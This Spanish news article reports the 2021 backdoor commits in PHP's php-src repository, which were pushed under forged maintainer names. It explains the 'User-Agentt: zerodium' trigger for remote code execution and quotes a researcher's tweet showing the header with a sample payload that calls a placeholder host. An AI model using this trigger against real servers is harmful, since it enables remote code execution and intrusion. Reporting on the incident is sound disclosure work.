El repositorio oficial de Git de PHP ha sufrido un ataque en la cadena de suministro del software que permitiría la ejecución remota de código mediante una cabecera HTTP especial.
El pasado 28 de marzo, saltó la alarma en el equipo de desarrollo de PHP al ver que dos confirmaciones en el código fuente (o commits) del repositorio php-src incluían código malicioso.
Los atacantes firmaron dichos commits haciéndose pasar por miembros conocidos del proyecto, Rasmus Lerdorf (creador del lenguaje) y Nikita Popov (desarrollador en la empresa Jetbrains). Dichos indicios llevan a pensar que el servidor Git de PHP podría haber sido vulnerado.
El commit malicioso, aparentemente firmado por Rasmus Lerdorf, parecía indicar que realizaba una corrección tipográfica, una práctica habitual y rutinaria en el mantenimiento de software y que a priori no levanta sospechas ya que es un cambio que no debería tener impacto en el comportamiento del lenguaje; pero al revisarlo se ve que que el fichero actualizado habilitaría la ejecución arbitraria de código remoto si el valor de la cabecera HTTP “User-Agentt” (con doble -t al final) comenzaba con “zerodium”.
Commit de código malicioso, aparentemente firmada por Rasmus Lerdorf. Fuente
Posteriormente este commit fue revertido por Nikita Popov (@nikic), pero horas más tarde el código volvía a actualizarse deshaciendo este último cambio y restaurando el código troyanizado. En este caso la firma suplantaba al propio Popov.
Un aspecto llamativo que se puede apreciar es la mención a Zerodium en la función zend_eval_string
. Zerodium es una plataforma de compra de exploits y vulnerabilidades de la que ya hemos hablado en anteriores una-al-dia. Sin embargo; actualmente no hay evidencia de que la empresa esté involucrada en este incidente. A este respecto se ha pronunciado en redes sociales Chaouki Bekrar, CEO de Zerodium, para negar dicha relación.
Cheers to the troll who put “Zerodium” in today’s PHP git compromised commits. Obviously, we have nothing to do with this.
Likely, the researcher(s) who found this bug/exploit tried to sell it to many entities but none wanted to buy this crap, so they burned it for fun— Chaouki Bekrar (@cBekrar) March 29, 2021
Otros investigadores han comprobado el comportamiento explotable de esta puerta trasera y mencionan posibles riesgos:
Confirmed, it works. So if someone wants to scan the planet you just need to add this HTTP header:
User-Agentt:zerodium<code>
<code> can be something like file_get_contents(“https://yourhostname/someonegotthewrongpatch.lol");https://t.co/9fBTPZQLAV— x0rz (@x0rz) March 29, 2021
Para tomar perspectiva sobre el impacto que tendría una puerta trasera de estas características, hay que considerar que PHP es el lenguaje que utiliza en torno al 79% del total de sitios que visitamos. De este porcentaje, el uso de PHP 8 es actualmente ínfimo ya que la versión 8.0 (0.1%) fue publicada en noviembre de 2020. Las versiones 7 (63.6%) y 5 (36%) son a día de hoy las más utilizadas con amplia diferencia.
Distribución del uso de PHP. Fuente
Popov ha publicado una nota informando de que han trasladado su actividad al repositorio de PHP en GitHub, que anteriormente simplemente servía de mirror. De esta manera, solamente usuarios pertenecientes a la organización PHP en GitHub tendrían permisos para actualizar el código de ahora en adelante. En un comunicado a BleepingComputer, Popov añade que estos cambios fueron realizados a la rama de desarrollo de PHP 8.1, cuya fecha de lanzamiento está prevista para final de año; y que los commits maliciosos fueron detectados pocas horas después en una rutina de revisión de código.
Más información:https://unaaldia.hispasec.com/2021/03/detectada-una-puerta-trasera-en-el-repositorio-oficial-de-php.html